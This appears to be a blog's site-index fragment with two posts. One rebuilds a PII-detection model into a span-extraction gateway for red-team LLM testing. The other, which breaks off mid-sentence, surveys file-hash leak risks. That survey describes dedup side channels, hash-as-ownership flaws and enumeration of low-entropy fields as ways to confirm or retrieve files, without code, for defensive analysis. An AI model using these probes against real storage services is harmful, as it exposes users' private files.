final performance ceiling lies.\nAlthough someone on X has already run a version, I believe our version is better — not only because we maxed out the Codex window, but also because the reference project was optimized.\nWhy a PII Gateway Is Needed When red teams run LLM security assessments, they often run into one problem: test cases carry large amounts of real PII. Either business data accidentally slips into prompts, or model output leaks private information from training data. OpenAI\u0026rsquo;s privacy-filter can already do PII redaction on its own — you feed in a piece of text, and it outputs names, emails, and phone numbers replaced with placeholders like \u0026lt;PRIVATE_PERSON\u0026gt;. If all you need is a gateway-level check that scrubs sensitive information before letting traffic through, the official project works as-is.\nBut the red team scenario doesn\u0026rsquo;t need \u0026ldquo;mask it for me\u0026rdquo; — it needs telling me **where the PII is located. Specifically, we need an annotation capability:\nTurning sensitive information in unstructured text into structured spans — each span carrying a category label, the original text fragment (text), and start/end offsets. Only with this structured data can you do downstream security analysis, classification and grading, and compliance auditing. Redaction is just the last step; annotation is the upstream.\nThe original project lacks this capability. It\u0026rsquo;s a Python library that only exposes a /redact interface — no HTTP service, no concurrency handling.\nSo my goal was: on top of redaction, add an inference service oriented toward annotation and extraction, measure the real performance ceiling, and determine whether it\u0026rsquo;s production-ready.\nFrom Python Library to HTTP Service The core of the original project is a transformer-based sequence labeling model. You feed in a piece of text, and it outputs a privacy label for each token. The model itself is not large — on the order of tens of MB of parameters.\nMy modification approach was simple: keep the upstream runtime and model weights, and replace only the HTTP layer. Specifically, I did a few things:\nExtraction-first API: the original project only had /redact (redaction); I added /extract (extraction), which directly returns structured spans — label + text + start offset + end offset. What red teams need is not \u0026ldquo;redact this for me\u0026rdquo; but \u0026ldquo;tell me which positions contain PII.\u0026quot; Hybrid post-processing: added label-aware merging (handling boundary issues for names and addresses), regex backstop (catching URLs, secrets, account numbers as a fallback), and punctuation trimming. Together this is called hybrid mode, and it pushed exact F1 from a baseline of 0.923 to 1.0000. Dockerized: built on top of the upstream image, without repackaging the model layer. Pull it with docker pull and it just runs — no extra downloads needed on first startup. Deployment commands:\n# GPU mode docker run -d \\ -p 8000:8000 \\ --gpus all \\ -e OPF_DEVICE=cuda \\ -e OPF_OUTPUT_MODE=typed \\ --name pii-span-extractor \\ ghcr.io/hi-unc1e/pii-span-extractor:latest # CPU mode (for validation) docker run -d \\ -p 8000:8000 \\ -e OPF_DEVICE=cpu \\ -e OPF_OUTPUT_MODE=typed \\ --name pii-span-extractor \\ ghcr.io/hi-unc1e/pii-span-extractor:latest Extraction example:\ncurl -X POST http://localhost:8000/extract \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;text\u0026#34;: \u0026#34;My name is Alice Smith and my email is alice@example.com. Call me at 555-123-4567.\u0026#34;, \u0026#34;include_text\u0026#34;: true, \u0026#34;merge_adjacent\u0026#34;: true, \u0026#34;merge_strategy\u0026#34;: \u0026#34;label_aware\u0026#34;, \u0026#34;enable_regex_backstop\u0026#34;: true, \u0026#34;trim_punctuation\u0026#34;: true }\u0026#39; Response:\n{ \u0026#34;schema_version\u0026#34;: 1, \u0026#34;extracted_spans\u0026#34;: [ { \u0026#34;label\u0026#34;: \u0026#34;private_person\u0026#34;, \u0026#34;start\u0026#34;: 11, \u0026#34;end\u0026#34;: 22, \u0026#34;text\u0026#34;: \u0026#34;Alice Smith\u0026#34; }, { \u0026#34;label\u0026#34;: \u0026#34;private_email\u0026#34;, \u0026#34;start\u0026#34;: 39, \u0026#34;end\u0026#34;: 56, \u0026#34;text\u0026#34;: \u0026#34;alice@example.com\u0026#34; } ] } At this point the service runs. But between \u0026ldquo;runs\u0026rdquo; and \u0026ldquo;usable\u0026rdquo; there is still one key question: is the concurrent performance actually good enough?\nConcurrency Stress Test: One Process Isn\u0026rsquo;t Enough, Two Is Just Right The test environment was an NVIDIA L20 (46 GB VRAM) on Alibaba Cloud. This card costs a bit over a hundred RMB per day, making it pretty cost-effective for a production-grade GPU.\nI wrote a stepped concurrency stress test script, ramping pressure from concurrency 1 up to 12, running each tier for 20 seconds, while sampling GPU utilization and VRAM with nvidia-smi.\nSingle-Worker Baseline By default uvicorn starts only one worker process. Results:\nConcurrency RPS Avg Latency P50 GPU Utilization VRAM 1 62.9 15.9 ms 16.0 ms 39 % 3.5 GB 2 71.9 27.8 ms 27.4 ms 44 % 3.7 GB 4 60.4 66.2 ms 66.1 ms 40 % 3.7 GB 6 43.2 138.8 ms 139.2 ms 27 % 3.7 GB 12 38.2 313.6 ms 313.6 ms 29 % 3.7 GB The peak was at concurrency 2, ~72 RPS. But GPU utilization topped out at just 44%, and only 3.7 GB of the 46 GB VRAM was used.\nThe GPU was nowhere near saturated. The bottleneck wasn\u0026rsquo;t compute — it was single-process inference scheduling: the GPU spent most of its time waiting for the CPU to feed it data.\nTwo Workers: GPU Utilization Pushed to 98% The fix was straightforward: if one process can\u0026rsquo;t feed the GPU, run two. Add --workers 2 to uvicorn; the two processes each load a copy of the model (VRAM doubles to ~7.3 GB, which the L20\u0026rsquo;s 46 GB handles easily), share the same GPU, and get kernel-level parallel scheduling.\nConcurrency RPS Avg Latency P50 Peak GPU Utilization VRAM 2 75.4 26.5 ms 26.5 ms 82 % 7.1 GB 4 80.6 49.6 ms 51.4 ms 91 % 7.2 GB 6 66.8 89.7 ms 99.0 ms 98 % 7.2 GB 8 61.6 129.6 ms 157.0 ms 95 % 7.2 GB 12 54.9 217.9 ms 293.4 ms 97 % 7.3 GB Compared to a single worker:\nThroughput rose from 72 RPS to 81 RPS (+12%) Peak GPU utilization climbed from 44% to 98% VRAM grew from 3.7 GB to 7.3 GB, entirely within the L20\u0026rsquo;s capacity The optimal operating point is concurrency 4: 81 RPS, ~50 ms latency, 91% GPU utilization. For a PII detection scenario, 50 ms of added latency is perfectly acceptable.\nA Pitfall I Hit: Triton Compilation I hit a pitfall when starting GPU mode. The OPF model uses Triton to accelerate CUDA kernels, and Triton needs GCC to compile on first run. The original Dockerfile used --no-install-recommends, installing only gcc without libc6-dev, causing stdlib.h to be missing and compilation to fail.\nThe fix: install gcc and libc6-dev together in the Dockerfile. This issue doesn\u0026rsquo;t occur in CPU mode — it only triggers in GPU mode, so it\u0026rsquo;s easy to miss.\nHardware Selection: The L20 Is a Bit Wasteful After finishing the stress test, one impression was clear: this model is too lightweight — running it on an L20 is a bit wasteful.\nAt full load, GPU utilization was only 50-65% on average, and only 16% of VRAM was used. The computational load of model inference is tiny; the bottleneck lies more in scheduling and data movement. For the PII gateway scenario:\nEntry-level GPUs like the L4 / A10G are sufficient, at lower cost The L20 suits scenarios that need to run multiple model instances simultaneously, or demand higher throughput Pure CPU can run it, suitable for low-frequency offline tasks, but throughput drops by an order of magnitude If you just want to run red team test traffic through PII detection, a single L4 is plenty. Of the L20\u0026rsquo;s 46 GB VRAM, this model uses only a fraction.\nSupport for 8 PII Categories Finally, here are the labels the model supports detecting:\nprivate_person — names private_email — emails private_phone — phone numbers private_address — addresses private_url — URLs private_date — dates account_number — account numbers secret — keys, tokens, passwords For red team scenarios, secret and account_number have the highest detection value — these two categories cover common sensitive information like API keys, access tokens, and bank card numbers, and they\u0026rsquo;re also the ones most easily overlooked in compliance audits.\nSo What If you\u0026rsquo;re doing LLM security assessments or building an AI gateway, three things are worth doing:\nAdd a PII detection layer on the outbound path. PII in model output is not a low-probability event, especially in RAG scenarios. The latency cost is ~50 ms; the payoff is avoiding a data breach incident. Don\u0026rsquo;t overestimate hardware requirements. This model can be fully utilized on an L4 — no A100 needed. Get the service running first, then decide whether to scale up based on actual throughput. Extraction is more useful than redaction. Red teams need to know \u0026ldquo;where the problems are,\u0026rdquo; not \u0026ldquo;mask the problems for me.\u0026rdquo; Structured span output is better suited for downstream analysis than replacing things with \u0026lt;PRIVATE_PERSON\u0026gt;. The project is here: github.com/hi-unc1e/pii-span-extractor\nPull the Docker image and start it in one line: docker pull ghcr.io/hi-unc1e/pii-span-extractor:latest\nIf you\u0026rsquo;re interested, run the stress test yourself.\nOnly by trying it firsthand will you know what 81 RPS actually means.\n","permalink":"https://www.unc.la/en/posts/penetration/openai-privacyfilter-into-redteam/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2026/png/166008/1777302701535-625c20f6-3b1b-4d69-8060-c6cfaca61d29.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eRed team security tooling — rebuilding OpenAI\u0026rsquo;s Privacy Filter into an HTTP gateway for structured PII\u003c/p\u003e\n\u003cp\u003eextraction\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eOpenAI open-sourced a small model called Privacy Filter that can identify PII such as names, emails, phone numbers, and addresses from unstructured text.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2026/png/166008/1777301197503-5cec4ca4-265a-4705-82b4-c2ca7e2d84e0.png\"\u003e\u003c/p\u003e\n\u003cp\u003eI spent one evening turning it into an HTTP gateway service, running on an NVIDIA L20, with dual-process inference peaking at 81 RPS and GPU utilization pushed to 98%.\u003c/p\u003e","title":"Stuffing OpenAI's Privacy Filter Model into the Red Team Toolchain"},{"content":"::::danger A Survey of the Security Risks of File Hash Leaks\nI did a dedicated round of research on this question, in both Chinese and English sources. Conclusion first: the answer to \u0026ldquo;is a file hash leak harmful\u0026rdquo; is not a simple yes or no — it is highly context-dependent.\n::::\nIf the hash is merely an offline integrity-check value — for example the SHA256SUMS file publicly published on a Linux distribution\u0026rsquo;s official site — it is usually not a secret. On the contrary, it should be published and signed so users can verify download integrity and authenticity of origin. This is exactly how Fedora\u0026rsquo;s official verification instructions, Debian\u0026rsquo;s official image verification instructions, and Ubuntu\u0026rsquo;s official tutorial are designed.\nBut if the system uses file hashes as content identity, existence probes, deduplication credentials, content addresses, or sample lookup keys, the situation is completely different. Here, although the leaked hash is only a few bytes, it can become an entry point for retrieving, confirming, correlating, and even recovering large files. From an engineering-security perspective, it is often no longer a \u0026ldquo;harmless digest\u0026rdquo; but part of a capability.\nI will develop the argument in three layers below. First, the real-world attack surface and history in the context of Chinese cloud drives\u0026rsquo; \u0026ldquo;instant upload / offline download\u0026rdquo; features; second, the systematic discussion of deduplication, proof-of-ownership, and content addressing in English papers and official documentation; third, a more rigorous judgment on the proposition \u0026ldquo;should a file hash be kept as confidential as the file itself.\u0026rdquo;\nI. Why This Question Deserves Re-examination Many people\u0026rsquo;s first reaction to hashes is: they are irreversible, so a leak doesn\u0026rsquo;t matter. This judgment is only half right.\nIn cryptography, a strong hash is indeed not reversible encryption. Looking at a single SHA-256 value alone, an attacker usually cannot conjure up the original arbitrary large file. That point stands.\nThe problem is that real-world systems do not leave hashes sitting in isolation. Platforms wire them into indexing, deduplication, retrieval, sharing, intelligence aggregation, and known-file identification. Once a hash enters these systems, its role shifts from \u0026ldquo;digest\u0026rdquo; to \u0026ldquo;index key.\u0026rdquo;\nTo put it more plainly:\nFrom a pure cryptography perspective, a hash is like a \u0026ldquo;compressed fingerprint.\u0026rdquo; In a real engineering system, it is more like \u0026ldquo;the file\u0026rsquo;s ID number + primary lookup key within a given ecosystem.\u0026rdquo; The security implications of these two are completely different.\nII. The Chinese Cloud Drive Context: Why Hashes Become a Real Attack Surface 1. \u0026ldquo;Instant upload\u0026rdquo; is essentially using a short identifier to skip a long transfer An article on instant-upload technology from Baidu Netdisk\u0026rsquo;s enterprise edition is labeled \u0026ldquo;AI-generated\u0026rdquo; and cannot be used as strong evidence, but it at least accurately reflects the industry\u0026rsquo;s public narrative: when a file is uploaded, a hash is computed first and compared against files already in the cloud; if they match, the full transfer is skipped and a correspondence is established directly. Source\nThe judicial and academic materials are more valuable. In the discussion of the Baidu Netdisk \u0026ldquo;Shi Wei Nu\u0026rdquo; case, public materials have already made the core of \u0026ldquo;instant-upload-style offline download\u0026rdquo; fairly clear: the platform first parses the index file, identifies the MD5 of the file to be downloaded, then compares it against files already stored on the server; on a hit, it establishes a mapping rather than re-transferring the full content. Center for Coordination and Innovation of Judicial Civilization article, Supreme People\u0026rsquo;s Court Intellectual Property Court workshop excerpt\nThe key point here is not any single product detail, but the very important security structure it reveals:\nIn certain system designs, a short file fingerprint is sufficient to drive the transfer of a large file\u0026rsquo;s availability.\nIn other words, the hash does not merely \u0026ldquo;describe the file\u0026rdquo; — in certain scenarios it \u0026ldquo;stands in for the file.\u0026rdquo;\n2. The history of cloud drive governance in China shows this is not a paper-theory problem In 2015, the National Copyright Administration issued a document on copyright order for cloud drive services, requiring providers to take measures such as deleting infringing works, blocking sharing, and preserving user information. When the Cyberspace Administration of China reposted Beijing Daily\u0026rsquo;s interpretation, it explicitly pointed out that at the time, platforms such as Baidu Netdisk, 360 Cloud Drive (Yunpan), Kingsoft KuaiPan, Tencent Weiyun, Sina VDisk, and Xunlei Kuaipan had become important channels for distributing pirated audio, video, and written works. CAC reposted interpretation\nThe regulatory implication behind this is clear: cloud drives stopped being \u0026ldquo;purely private storage\u0026rdquo; long ago — they are a link in the real distribution chain.\nThe subsequent historical milestones are also telling:\nIn 2012, 115 Cloud Drive shut down its public sharing feature due to \u0026ldquo;policy risks and copyright disputes,\u0026rdquo; an early turning point in Chinese cloud drive governance. CCTV repost In 2016, 360 Cloud Drive announced it would terminate its personal cloud drive service, with the publicly stated reasons directly including illegal files, copyright infringement and piracy, and distribution of pornographic material. Xinhuanet report In 2019, in the Youku v. Baidu Netdisk case, the court found that Baidu Netdisk, after receiving rights-holder notices, failed to take sufficient timely measures and allowed large numbers of infringing links to keep spreading. Public reports mentioned the scale of infringing links at issue exceeded 11,000. Dezhou Intermediate Court repost of case report These materials do not necessarily all discuss \u0026ldquo;hash leaks\u0026rdquo; directly, but together they demonstrate one point: once a platform has the combination of \u0026ldquo;storage + indexing + sharing + saving-to-drive/instant upload,\u0026rdquo; hash-type identifiers easily enter large-scale distribution chains.\n3. The real attack surface comes not from the hash alone, but from \u0026ldquo;hash + platform capability\u0026rdquo; In my view, what deserves the most attention in the Chinese cloud drive context is not \u0026ldquo;whether the hash is reversible\u0026rdquo; but the following classes of engineering attack surfaces:\nAttack Surface A: Existence confirmation If the platform supports cross-user deduplication, knowing a file\u0026rsquo;s hash may effectively let you confirm whether that file already exists on the platform. For popular films and shows, infringing resources, or malicious samples, this confirmation alone has value.\nAttack Surface B: Direct reuse after an index hit If the platform allows establishing a \u0026ldquo;mapping\u0026rdquo; based on a hash or equivalent fingerprint without re-uploading the full file, then a leaked hash can become a content retrieval entry point. It is not the original file, but it is enough to trigger reuse of the original.\nAttack Surface C: Piecing together external distribution chains Real-world attacks are often not completed at a single point; they are assembled from multiple leak surfaces. When public share links, index files, file sizes, upload times, titles, third-party drive-search engines, community scripts, and offline-download features are stacked together, the hash goes from \u0026ldquo;technical field\u0026rdquo; to \u0026ldquo;distribution hub.\u0026rdquo;\nThe 2017 reporting on third-party \u0026ldquo;drive search\u0026rdquo; engines scraping public cloud drive share links is a typical example. The problem does not necessarily lie with the hash alone — file identifiers, links, and search capability together form the information leak chain. People\u0026rsquo;s Daily report\nIII. Core Conclusions from English-Language Sources: The Risk Comes from Dedup, PoW, and Content Addressing If you look only at the English-language literature, this question has in fact been discussed for many years, and the conclusions are quite consistent: the core risk of a hash leak is not \u0026ldquo;can the hash be inverted to the original,\u0026rdquo; but \u0026ldquo;does the system treat the hash as proof of a file\u0026rsquo;s existence, ownership, or content identity.\u0026rdquo;\n1. Deduplication turns the hash into an \u0026ldquo;existence probe\u0026rdquo; Harnik, Pinkas, and Shulman-Peleg, in Side Channels in Cloud Services: Deduplication in Cloud Storage, point out that cross-user deduplication naturally forms a side channel. An attacker only needs to upload candidate files and observe whether deduplication occurs to determine whether other users already possess the file. Paper PDF\nThis attack is critical because it punctures a common misconception: even if the platform never exposes file contents directly, as long as it reveals \u0026ldquo;is this a duplicate,\u0026rdquo; outsiders have already gained an existence oracle.\nThe paper even gives very realistic examples, such as using deduplication to determine whether someone holds a sensitive file, or enumerating a small number of unknown fields in a templated document.\n2. \u0026ldquo;Knowing only the hash may still get you the original file\u0026rdquo; is a classic design flaw Halevi et al.\u0026rsquo;s Proofs of Ownership in Remote Storage Systems goes further and states the problem very bluntly: if a system uses only the file hash to judge that a client \u0026ldquo;possesses\u0026rdquo; a file, then an attacker who knows that hash may fool the server and subsequently obtain the complete file. IACR ePrint\nThis paper is highly valuable because it does not speak in generalities; it explicitly models the problem as:\nthe attacker possesses minimal side information; the server mistakenly treats a short value as proof of ownership; the result is that the attacker obtains an arbitrarily large file. In other words, in such systems, the hash is no longer metadata — it is an access primitive.\n3. Deduplication-friendly encryption does not have \u0026ldquo;strong confidentiality\u0026rdquo; in the ordinary sense Bellare, Keelveedhi, and Ristenpart, in Message-Locked Encryption and Secure Deduplication, proposed MLE (message-locked encryption), which is essentially an admission: if a system requires both deduplication and encryption, then the security model cannot be understood as ordinary randomized encryption. IACR ePrint\nThe subsequent DupLESS work states even more explicitly that designs like convergent encryption are susceptible to dictionary/brute-force attacks, especially when messages come from a low-entropy space, a known corpus, or template files: the attacker can enumerate candidate contents to match the target file. DupLESS paper\nThis point is especially important, because it shows:\n\u0026ldquo;A hash is only a few bytes\u0026rdquo; does not automatically mean \u0026ldquo;the attack is hard.\u0026rdquo;\nWhat really determines the difficulty of the attack is the size of the target file\u0026rsquo;s candidate space, and whether the attacker can plug the hash into a system that enables \u0026ldquo;verifiable guessing.\u0026rdquo;\n4. Learn-the-Remaining-Information: enumerating low-entropy fields is a real risk Tahoe-LAFS\u0026rsquo;s official documentation has long discussed a famous problem: the Learn-the-Remaining-Information attack. The typical scenario is that the attacker already knows most of a document\u0026rsquo;s contents, with only a few fields unknown — a salary, an account number, a balance, or some ID. The attacker can then enumerate the remaining fields, generate candidate files, compute the corresponding fingerprints, and compare them against the target value, thereby recovering the secret. Tahoe-LAFS documentation PDF\nThe lesson of this class of attacks is significant: the hash did not magically \u0026ldquo;compress out\u0026rdquo; high-entropy information; what actually happened is that the attacker, using templates, context, and a candidate space, transformed an apparently high-entropy large file into a small number of variables to enumerate.\nSo from an information-theoretic standpoint, the more accurate statement is not \u0026ldquo;low-entropy data inverted high-entropy data,\u0026rdquo; but rather:\nthe system exposed a very powerful decision interface that allows outside prior knowledge to efficiently pin down the original text.\n5. Deduplication side channels have seen real remote attacks The 2022 USENIX FAST paper DUPEFS demonstrated how modern filesystem deduplication side channels leak information in real systems. In a dedup-enabled ZFS scenario, the authors slowly leaked real sensitive data such as OAuth tokens through remote methods. USENIX FAST 2022\nAlthough the rate was not high, this is enough to establish one fact: as long as the \u0026ldquo;duplicate state\u0026rdquo; itself is probeable, real secrets may keep leaking even if the plaintext is never visible.\n6. In content-addressed systems, the hash IS the address The more radical scenario is content-addressed systems. The early CASPER paper already pointed out that recipe/checksum queries themselves leak what the user is requesting, because an attacker holding a database of common chunks can infer what is being accessed. CASPER paper\nIPFS\u0026rsquo;s official documentation still emphasizes today that although inter-node communication can be encrypted, public metadata such as CIDs, PeerIDs, and DHT provider records exposes who is providing or requesting a given content identifier. IPFS official docs\nHere there is almost no room for the debate \u0026ldquo;is the hash the file,\u0026rdquo; because in content-addressed systems, the hash is the content address. Strictly speaking it does not equal the file itself, but it is also hard to still view it as a mere harmless digest.\n7. In threat-intelligence systems, the hash has long been the \u0026ldquo;sample primary key\u0026rdquo; VirusTotal\u0026rsquo;s official API documentation explicitly states that the ID of a file object is its SHA-256, and supports querying file reports, metadata, and even partial download capability directly by hash. VirusTotal Files API, file download API\nMalwareBazaar\u0026rsquo;s official API likewise allows downloading malicious sample archives by sha256_hash. MalwareBazaar Community API\nNIST NSRL has long used hashes as one of the core fields for known-file identification, for forensic identification and archival. NIST NSRL FAQ\nThis shows that in the real world, the hash stopped being \u0026ldquo;just an integrity check value\u0026rdquo; long ago. It has become:\nthe primary query key of intelligence platforms; the locating key of sample repositories; the identifier within known-good / known-bad ecosystems. Once the hash of a private file enters such a system, even if the original file is never made public, third parties can still complete confirmation, semantic classification, correlation analysis, and source enrichment.\nIV. From a Red Team Perspective: New Attack Surfaces Often Hide Inside \u0026ldquo;Optimization Goals\u0026rdquo; Placed within red team methodology, the value of this question lies not only in \u0026ldquo;do hashes carry risk,\u0026rdquo; but in that it suggests a new way of extracting attack surfaces:\nDo not stare only at traditional boundaries, and do not stare only at explicit interfaces; instead, prioritize reviewing what optimizations a system has made for efficiency, cost, and experience.\nCloud drives are just a typical example. For large-scale storage systems, deduplication is almost a natural urge:\nduplicate files are numerous; bandwidth and storage costs are high; users want \u0026ldquo;instant upload\u0026rdquo;; platforms want to reduce redundant copies; popular content naturally has cross-user reuse value. So the question is often not \u0026ldquo;will the system do deduplication\u0026rdquo; but \u0026ldquo;through what mechanism will the system do deduplication.\u0026rdquo; And once the question is rephrased in this form, the red team\u0026rsquo;s observation points shift immediately.\n1. Shift from the functional surface to the cost structure Traditional attack surface analysis tends to start from \u0026ldquo;which APIs are exposed,\u0026rdquo; \u0026ldquo;what authentication flaws exist,\u0026rdquo; \u0026ldquo;can we download beyond authorization.\u0026rdquo; That path is of course important, but it easily overlooks the cost constraints behind the system.\nIf the red team flips the perspective and observes from what cost the platform most wants to eliminate, it can often find high-value surfaces faster:\nWanting to save bandwidth leads to client-side deduplication, resumable-skip upload, and offline pulling; Wanting to save storage leads to single-instance storage, block-level reuse, hard links, or reference counting; Wanting to save CPU may lead to weakened strong verification, tiered verification, partial fingerprints, or cache hits; Wanting to improve experience exposes status feedback such as \u0026ldquo;does it already exist,\u0026rdquo; \u0026ldquo;did instant upload succeed,\u0026rdquo; \u0026ldquo;was a resource hit.\u0026rdquo; And once these optimizations are in place, the attack surface is no longer just \u0026ldquo;the file download interface\u0026rdquo;; it expands into:\nwhether a deduplication-hit oracle exists; whether resource-existence feedback exists; whether a short fingerprint is mistaken for proof of ownership; whether mappings can be established directly via index values; whether block-level or file-level content identity is leaked. In other words, the new red team mindset is not chasing explicit vulnerabilities, but reasoning backward along the system\u0026rsquo;s optimization path: to be faster, cheaper, and more economical, what observable, forgeable, and reusable signals must it have introduced?\n2. Shift from the \u0026ldquo;data plane\u0026rdquo; to the \u0026ldquo;control plane\u0026rdquo; Hash-type problems have another easily underestimated aspect: the attack target is not necessarily the data plane itself; it may also be the control plane.\nIn many systems, the hash does not directly equal file content, but it can control:\nwhether to upload; whether to download; whether to establish a reference; whether to hit the cache; whether to trigger sample correlation; whether to obtain an access path to an existing object. This means the red team, when modeling, needs to treat the hash as a control signal. Once a control signal can be guessed, forged, replayed, or queried externally, an attack surface appears.\nSo in the cloud drive scenario, what is truly dangerous is not \u0026ldquo;the digest was seen,\u0026rdquo; but:\nonce the digest enters the control plane, it may acquire informational leverage far beyond the digest itself.\n3. It is more like a cache system than a hash table Abstracting further, this kind of structure is less like a traditional hash table and more like a cache or object-reuse system driven by content identity.\nThe intuitions of a traditional hash table are:\nthe key is merely a lookup aid structure; the value is the primary asset; key leakage usually has no direct business value; whether the key can be shared externally is usually not a precondition for the system to function. But deduplication, instant upload, and content addressing are not like that.\nThe reason they are closer to cache systems is:\nthe system has already stored a high-cost object; the goal is to reuse existing objects as much as possible, rather than repeatedly generating or re-transmitting; a smaller identity tag is used to hit a larger object; once the hit succeeds, the follow-up action is often not \u0026ldquo;return index information,\u0026rdquo; but directly skip the upload, establish a reference, return the object, or trigger a copy. From this angle, the \u0026ldquo;hash\u0026rdquo; discussed in this article is really more like a content-derived cache key. It does not exist to implement general key-value mapping, but to hit an already-existing large object at low cost in large-scale object-reuse scenarios.\nThis also explains why it exhibits a typical \u0026ldquo;leveraging the small to move the large\u0026rdquo; structure:\nthe small thing is the key, tag, digest, fingerprint; the large thing is the real object being indexed, reused, retrieved; the danger lies not in the small object itself, but in whether it can reliably hit the large object. This has one key difference from cache keys in ordinary applications: ordinary cache keys are usually internal implementation details, whereas the keys here usually come from the message itself — which is shareable, computable, and transmissible.\n4. Message shareability determines that this class of keys is inherently prone to spilling out When conventional engineering discusses cache security, the default premise is usually that cache keys belong to an internal namespace. For example:\nuser ID + parameter concatenation; SQL template + query conditions; internal paths, tenant IDs, function arguments; derived keys known only to the server. The typical characteristics of such keys are: outsiders cannot easily construct them fully, and they are not suitable for public distribution.\nBut message-locked / content-derived systems are precisely the opposite.\nTheir keys often come directly or indirectly from the message:\nthe file content itself; the hash of the file content; fingerprints of the file after chunking; tags, CIDs, ETags, or equivalent object identities derived from the message. And the messages themselves are, in reality, frequently shareable:\na popular installer gets downloaded repeatedly; a public PDF is held by many people; a malicious sample circulates within the intelligence community; a pirated film resource keeps being forwarded within communities; a templated document gets generated by large numbers of users from the same template. This means \u0026ldquo;compute and share the hash\u0026rdquo; is not fringe behavior — it is a very natural collaborative behavior. Precisely because of this, such systems face not \u0026ldquo;will the key occasionally leak,\u0026rdquo; but:\nthe key will, in many scenarios, be computed, forwarded, compared, and discussed as a matter of course.\nOnce the system design still assumes \u0026ldquo;as long as the original file is not public, it doesn\u0026rsquo;t matter if the key is public,\u0026rdquo; the risk will be systematically underestimated.\nTherefore, from the defense perspective, a more accurate judgment is:\nwhen the key derives from the message, and the message itself is shareable, the traditional intuitions about internal cache keys should no longer apply.\nWhat should actually be assumed is:\nthe attacker may compute the key themselves; the attacker may obtain the key from a third party; the key may appear in logs, forums, intelligence platforms, scripts, and automation tools; key leakage is not an anomaly, but part of the system\u0026rsquo;s way of working spilling outward. 5. A transferable method: extending from cloud drives to other systems This method is not limited to cloud drives.\nAny system with the following goals is worth examining with the same red team thinking:\ncache-hit optimization in content delivery networks; layer reuse in container image registries; block-level deduplication in backup systems; single-instance archival in data lakes and object storage; known-file queries on malicious-sample platforms; CID/DHT lookups in content-addressed networks. These systems appear to solve performance or cost problems on the surface, yet at the bottom they often introduce the same class of security tension:\nto identify \u0026ldquo;is this the same object,\u0026rdquo; the system must expose some stable identity; and once that stable identity can be exploited externally, it may turn from optimization metadata into an attack entry point.\nTherefore, from the red team perspective, the genuinely new idea this article wants to point out is:\nAttack surfaces do not always come from feature expansion; they may also come from optimization convergence. The more precisely, quickly, and cheaply a system tries to identify \u0026ldquo;identical content,\u0026rdquo; the more likely it is to spill content identity out as a security problem.\nV. From an Information-Theoretic Angle: The Judgment Has a Real Basis, but the Statement Needs to Be More Precise One very representative judgment is: the hash value is very short, yet it can \u0026ldquo;move a thousand pounds with four ounces\u0026rdquo; by pointing to a multi-gigabyte original file — this looks like low-entropy data recovering high-entropy data.\nI believe this intuition is valid in engineering terms, but needs correction in information-theoretic terms.\n1. Why it \u0026ldquo;holds in engineering terms\u0026rdquo; If the platform wires the hash into the following capabilities:\ndeduplication hits; lax ownership verification; content addressing; known-sample lookup; malicious-sample download; public sharing / index mapping; then a 32-byte SHA-256 really can trigger the discovery, reuse, or download of a multi-gigabyte file. In terms of engineering consequences, that is indeed \u0026ldquo;moving a thousand pounds with four ounces.\u0026rdquo;\n2. Why it \u0026ldquo;cannot simply be called inversion in information-theoretic terms\u0026rdquo; Because the hash itself creates no information and violates no conservation of entropy. What actually makes recovery possible is that the outside world has already supplied additional information:\nthe attacker knows the candidate files come from some finite set; the attacker holds a template, with only a few unknown fields; the platform has already stored a copy of the file; a third-party intelligence database has already indexed the file; the system uses the hash as a lookup key or capability token. So the more rigorous statement should be:\nThe danger of a file hash leak lies not in the hash alone containing all the information of the original file, but in its ability to combine with external corpora, indexing systems, and verification oracles to dramatically reduce the cost of recovering or confirming the original file.\nThis does not contradict \u0026ldquo;cryptographic one-wayness.\u0026rdquo;\nVI. So, Should a File Hash Be Kept as Confidential as the File Itself? This is the question I most wanted to answer seriously in this round of research.\nMy conclusion is:\nTreating \u0026ldquo;a file hash should always be kept as confidential as the file itself\u0026rdquo; as an absolute proposition is too strong.\nBut rephrased as the following, I believe it holds up:\nWhen a file hash is used by a system as content identity, for deduplication, existence confirmation, content addressing, sample lookup, or access mapping, its sensitivity should be handled as \u0026ldquo;high-risk metadata\u0026rdquo; or even \u0026ldquo;quasi-access credential,\u0026rdquo; and no longer as an ordinary digest.\nIn other words, distinguish by scenario:\nScenario A: The hash usually needs no confidentiality Checksums published on official software release pages; ISOs, installers, and open-source tarballs already distributed to the public; Public files used for integrity verification with no additional lookup capability bound to them. In these scenarios, publishing the hash is actually a good thing — provided it is paired with a signature scheme, to prevent \u0026ldquo;the file and the hash being tampered with together.\u0026rdquo; This is the practice repeatedly emphasized by the official Fedora, Debian, and Ubuntu documentation. Fedora, Debian, Ubuntu\nScenario B: The hash should be treated as sensitive metadata Private documents, contracts, pay slips, medical records, evidentiary materials; heavily templated files with a small candidate space; files that will be consumed by deduplication systems, intelligence systems, sample repositories, or content-addressed networks; systems where a leaked hash may trigger existence confirmation or hit-based download. In these scenarios, although the hash is not the file itself, its value to an attacker is already high enough.\nScenario C: The hash is nearly equivalent to a capability token The platform allows \u0026ldquo;knowing the hash is enough to save/extract/download\u0026rdquo;; malicious-sample platforms allow downloading samples directly by hash; content-addressed networks use hash/CID directly as the content address; the system internally uses the hash as an access key. In this scenario, the claim \u0026ldquo;the hash\u0026rsquo;s confidentiality should approach that of the file itself\u0026rdquo; is very close to the truth. Because what leaks at this point is no longer just a digest, but part of the access path.\nVII. Wanting Both Deduplication and Security: What Engineering Solutions Can Actually Be Deployed Since deduplication is almost an innate requirement of large-scale storage systems, the truly valuable question is not \u0026ldquo;disable deduplication,\u0026rdquo; but \u0026ldquo;how to keep the benefits of deduplication while preventing the deduplication capability from becoming an attack surface.\u0026rdquo;\nExisting papers and engineering experience roughly point to the following composable approaches.\n1. Do not treat a short fingerprint as proof of ownership This is the most basic rule, and the core reason the PoW paper was written.\nIf a system concludes that a client \u0026ldquo;possesses\u0026rdquo; data based solely on a file hash, a block hash, or some static tag, it is essentially misusing a digest as a credential. The sounder approach is to introduce Proof of 